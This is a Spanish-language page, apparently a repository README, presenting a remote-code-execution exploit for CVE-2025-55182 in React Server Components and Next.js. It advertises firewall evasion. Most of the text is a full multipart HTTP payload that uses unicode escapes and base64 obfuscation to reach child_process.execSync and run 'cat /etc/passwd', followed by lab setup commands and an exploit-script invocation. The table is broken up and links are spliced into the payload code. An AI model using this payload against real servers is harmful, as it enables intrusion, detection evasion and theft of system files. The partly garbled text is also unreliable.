
[Reproducción de vulnerabilidad] El primer exploit mundial de RCE de React Server para CVE-2025-55182 basado en características RSC que puede evadir la detección de WAF.
__proto__:then, constructor:constructor para lograr RCE."then": $1:__proto__:then, "get": $1:constructor:constructor, require('child_process').| Información | Contenido |
|---|---|
| Nombre de la vulnerabilidad | React Server RCE |
| ID de vulnerabilidad | CVE-2025-55182 |
| Nivel de riesgo |
Se puede usar en escenarios de evasión de WAF + escenario por defecto:
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Length: 1445
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="1"
{
"\u0074\u0068\u0065\u006e": "$2:et",
"status": "$2:es",
"reason": "",
"value": "$2:ev",
"_response": "$2:er"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="2"
{
"et": "$3",
"es": "$4",
"ev": "{\"\u0074\u0068\u0065\u006e\":\"\u0024\u0042\"}",
"er": {
"_prefix": "$2:ep",
"_formData": "$2:ef"
},
"ep": "$5",
"ef": {
"get": "$2:eg"
},
"eg": "$6"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="3"
"$0:\u0074\u0068\u0065\u006e"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="4"
"\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="5"
"x='Y2F0IC9ldGMvcGFzc3dk';d=u=>Buffer.from(u,'bas'+'e64')+'';y=global[d('cHJvY2Vzcw==')][d('bWFpbk1vZHVsZQ==')][d('cmVxdWlyZQ==')](https://github.com/xcanwin/cve-2025-55182-react-rce/blob/HEAD/d(%27Y2hpbGRfcHJvY2Vzcw==%27))[d('ZXhlY1N5bmM=')](https://github.com/xcanwin/cve-2025-55182-react-rce/blob/HEAD/d(x))+'';throw Object.assign(new Error(y),{digest:y});"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="6"
"$0:toString:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad--
react-server-dom-webpack 19.2.0
git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
cd CVE-2025-55182-React-RCE
npm install
npm run dev -- --hostname 127.0.0.1 --port 3000
Servicio montado con éxito: http://127.0.0.1:3000/
python3 -m venv .venv
. ./.venv/bin/activate
pip3 install requests
python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"
Next.js 16.0.6
En realidad corresponde también a react-server-dom-webpack 19.2.0
git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
cd CVE-2025-55182-React-RCE
npx [email protected] nextapp --yes --js --no-tailwind --no-eslint --empty
cd nextapp
npm run dev -- --hostname 127.0.0.1 --port 3000
Servicio montado con éxito: http://127.0.0.1:3000/
python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"
| Alto |
| Tipo de vulnerabilidad | RCE |
| Dificultad de explotación | Baja |